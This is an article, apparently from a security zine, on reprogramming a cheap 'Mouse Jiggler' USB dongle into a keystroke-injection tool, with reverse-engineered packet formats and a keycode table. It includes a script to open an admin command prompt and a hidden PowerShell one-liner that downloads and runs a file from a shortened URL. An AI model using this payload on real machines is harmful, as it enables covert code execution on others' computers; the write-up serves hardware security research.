5 Jiggling into a New Attack Vector

by Mickey Shkatov

Note: The manufacturer of the device discussed in this article is not distributing anything dangerous. This is a legitimate tool that can be made into something dangerous.

One day, during a conversation with my colleague Maggie Jauregui, she showed me a USB dongle-like device labeled Mouse Jiggler and told me this nifty little thing's purpose is to jiggle the mouse cursor on the screen. Given my interest in USB, I expected that the device might be a cheap microcontroller emulating USB HID. If there were a way to reprogram that microcontroller, it could be made into something malicious!

I looked for more information about this peculiar device. I found the exact same model (the MJ-2) that Maggie had showed me, but the website listed information about a newer, smaller model, the MJ-3. As the website describes it,

> The MJ-3 is programmable, making it ideal for repetitive IT or gaming tasks. You can create customized scripts with programmed mouse movement, mouse clicks, and keystrokes.

"The MJ-3 is programmable." There was really no need to read any further. This was all the motivation I needed. I purchased one online. The cost of this device was just twenty dollars, which is quite cheap if you ask me.

While I waited for the thing to arrive, I continued to read some other interesting facts about the device. Here are some highlights:

1. MJ-3 is even smaller—roughly the size of a dime—at just 0.75" x 0.55" x 0.25" (18mm x 14mm x 6mm).
2. IT professionals use the Mouse Jiggler to prevent password dialog boxes due to screensavers or sleep mode after an employee is terminated and they need to maintain access to their computer.
3. Computer forensic investigators use Mouse Jigglers to prevent password dialog boxes from appearing due to screensavers or sleep mode.

A quick look at WiebeTech, the company that makes these devices, reveals the forensic nature of the use case.

WiebeTech, the manufacturer of the MJ-3, makes all sorts of forensics equipment including write-blocks, forensic erasers, digital investigation tools, and other devices.

I already had plans to sniff the USB traffic, track down the microcontroller datasheet, and create a

tool to reprogram it. However, I later found a commercial piece of software that does exactly that. I had to download and play with it.

This software was able to program the MJ-3 to be a keyboard, pre-programmed with up to two hundred key strokes that cycle in a loop.

To sum up, we've got a tiny USB dongle that looks like a wireless mouse receiver. It is programmable with keystrokes, and costs next to nothing. So what's next? Malicious re-purposing, of course!

Unlike other programmable USB HID devices—such as the USB Rubber Ducky, which has far greater storage capacity for keystrokes—we are left with only about 200 characters.

I say characters because it is easy to explain that way. Each line item in a script for this device can hold more than a single character. Each item holds a combination of modifier keys, a letter key, and a delay of up to 255 seconds. The byte-by-byte breakdown and explanation can be found at the end of this article.

These are 200 characters:
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOO

Not a lot, but still enough for some fun. Let's begin by opening an administrator command prompt.

1. Press Ctrl+Escape. Delay 0 seconds.
2. Press C. Delay 0 seconds.
3. Press M. Delay 0 seconds.
4. Press D. Delay 0 seconds.
5. Press Ctrl+Shift+Enter. Delay 2 seconds.
6. Press Left arrow. Delay 0 seconds.
7. Press Return (Enter). Delay 0 seconds.
8. Delay 2 seconds.

Once the last event is done, we might simply tell the controller to jump to Event 8 to remain in a delay loop and stop executing.

The result is an eight-line script for opening an administrator command prompt, which was fun and easy. However, a red teamer wanting to use this thing would need more than just a command prompt. How about a PowerShell download and execute one liner from the Rubber Ducky Exploit wiki written by Mubix? If we use a URL-shortening service, we can save a few characters and squeeze that into something like the following 152 characters.

```
powershell -windowstyle hidden (new-object
    System.Net.WebClient).DownloadFile('http
    ://bit.ly/1ngVd9i','%TEMP%\bob.zip');
    Start-Process "%TEMP%\bob.zip"
```

I'll leave the rest of the red team thinking to you. If you do make a cool and nifty script, please share it. You can find the dump and description of the sniffed USB communication below. Enjoy!

– – – – – – – – – – –

Dongle programming communication looks like this, as a sequence of OUT data packets in order.

- `0B 00 30 00 AA 04 00 00 92`
  Prefix packet indicating the number of commands to be sent and ending in some sort of checksum (92). The only checksum/CRC link found in the client software uses the QT checksum function, which is CRC16-CCITT based. Why don't you try to figure this one out?
- `0B 01 32 02 FF 04 00 00 00`
  Data packet specifying a command. (Figure 7.)
- `0B 02 32 00 00 05 00 00 00`
  Data packet specifying a command.
- `0B 03 32 00 00 06 00 00 00`
  Data packet specifying a command.
- `0B 04 35 00 01 00 00 00 00`
  Data packet specifying the final command telling the controller to jump to which command after the last one has been executed.
- `0C 00 00 00 00 00 00 00 00`
  A suffix command to indicate the end of programming.

Each command to be programmed on the controller is sent over USB. As an example, Figure 7 examines the bytes of the "Windows key+Ctrl+Alt+Shift+A" line of the script.

	`0B 01 32 02 FF 04 00 00 00`
`0B`	A prefix sent with each data packet
`01`	The index of the command sent in this data packet
`32`	Packet type:
	`31` is Mouse
	`32` is Keyboard
	`34` is Delay
`02`	The delay in seconds after the keystroke has been performed by the controller.
`FF`	A bit flag for indicating key modifiers pressed.
	`88` Windows key–`10001000`
	`44` Alt key–`01000100`
	`22` Shift key–`00100010`
	`11` Ctrl key–`00010001`
`04`	Represents the keyboard letter A.
	See Figure 8.
`00 00 00`	Padding

Figure 7: Example Jiggler Packet: “Windows key+Ctrl+Alt+Shift+A”

0	No Key	22	5	42	F9
4	A	23	6	43	F10
5	B	24	7	44	F11
6	C	25	8	45	F12
7	D	26	9	4A	Home
8	E	27	0	4B	Page Up
9	F	28	Return	4C	Delete Forward
A	G	29	Escape	4D	End
B	H	2A	Delete	4E	Page Down
C	I	2B	Tab	4F	Right Arrow
D	J	2C	Space	50	Left Arrow
E	K	2D	—	51	Down Arrow
F	L	2E	=	52	Up Arrow
10	M	2F	[	53	Num Lock
11	N	30	]	54	/ Keypad
12	O	31	\	55	* Keypad
13	P	33	;	56	
14	Q	34	’	57	
15	R	35	‘	58	Enter Keypad
16	S	36	,	59	1 Keypad
17	T	37	.	5A	2 Keypad
18	U	38	/	5B	3 Keypad
19	V	39	Caps Lock	5C	4 Keypad
1A	W	3A	F1	5D	5 Keypad
1B	X	3B	F2	5E	6 Keypad
1C	Y	3C	F3	5F	7 Keypad
1D	Z	3D	F4	60	8 Keypad
1E	1	3E	F5	61	9 Keypad
1F	2	3F	F6	62	0 Keypad
20	3	40	F7	63	. Keypad
21	4	41	F8		

Figure 8: Jiggler Keycode Table